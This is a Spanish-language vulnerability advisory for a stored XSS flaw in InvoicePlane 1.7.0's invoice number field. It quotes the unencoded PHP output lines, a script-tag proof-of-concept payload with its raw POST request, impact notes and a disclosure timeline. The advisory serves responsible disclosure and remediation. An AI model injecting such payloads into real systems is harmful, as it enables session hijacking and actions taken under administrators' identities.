
Vulnerabilidad XSS almacenado en InvoicePlane 1.7.0 a través del campo de número de factura sin sanitizar, con prueba de concepto y detalles de remediación.
Vulnerabilidad: Cross-Site Scripting (XSS) Almacenado a través del campo Número de Factura
Producto: InvoicePlane
Versión Afectada: 1.7.0 (y probablemente versiones anteriores)
Gravedad: Media
Puntuación CVSS 3.1: 4.8 (CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N)
CWE: CWE-79: Neutralización Incorrecta de Entrada Durante la Generación de Páginas Web
Descubierto por: Leonidas Agathos
Fecha de Reporte: 2026-01-31
El campo invoice_number en el formulario de factura acepta entrada arbitraria sin saneamiento. El valor se almacena y se renderiza sin codificar en múltiples ubicaciones: el título de la página de vista de factura, el campo de entrada del número de factura y el widget de facturas recientes del panel de control. La carga útil se activa cuando cualquier administrador visualiza la factura afectada o visita el panel de control.
Archivos vulnerables:
application/modules/invoices/views/view.php:247application/modules/invoices/views/view.php:494application/modules/dashboard/views/index.php:233// view.php - Línea 247
<?php echo trans('invoice') . ' ' . ($invoice->invoice_number ? '#' .
$invoice->invoice_number : trans('id') . ': ' . $invoice->invoice_id); ?>
// view.php - Línea 494
value="<?php echo $invoice->invoice_number; ?>"
// dashboard/index.php - Línea 233
<?php echo anchor('invoices/view/' . $invoice->invoice_id, ($invoice->invoice_number
? $invoice->invoice_number : $invoice->invoice_id)); ?>
Paso 1 — Inyectar la carga útil en el Número de Factura
Cree o edite una factura en /index.php/invoices/form/{id} y establezca el número de factura como:
<script>alert("XSS in Invoices")</script>
Solicitud:
POST /index.php/invoices/ajax/save HTTP/1.1
Host: 172.25.0.12
Content-Type: application/x-www-form-urlencoded
invoice_number=<script>alert("XSS+in+Invoices")</script>&invoice_id=22&...

Paso 2 — Activar el XSS
Navegue a /index.php/invoices/view/{id} o /index.php/dashboard. La carga útil se activa al cargar la página.

La carga útil se ejecuta en el navegador de cualquier administrador que visualice la factura afectada o visite el panel de control. Esto permite el secuestro de sesión (si las cookies no son HttpOnly), el robo de tokens CSRF y acciones realizadas bajo la identidad de la víctima.
| Fecha | Evento |
|---|---|
| 2026-01-30 | Vulnerabilidad descubierta |
| 2026-01-31 | Prueba de concepto desarrollada |
| 2026-01-31 | Proveedor notificado |
| 2026-02-04 | Reconocimiento del proveedor |
| 2026-02-04 | Parche publicado |
| 2026-02-05 | Divulgación pública |
Esta vulnerabilidad fue descubierta durante una investigación de seguridad independiente. Toda la información se proporciona estrictamente con fines educativos, de investigación y defensivos para ayudar al proveedor y a la comunidad de seguridad a comprender y remediar el problema. Cualquier uso malicioso de esta información está estrictamente prohibido.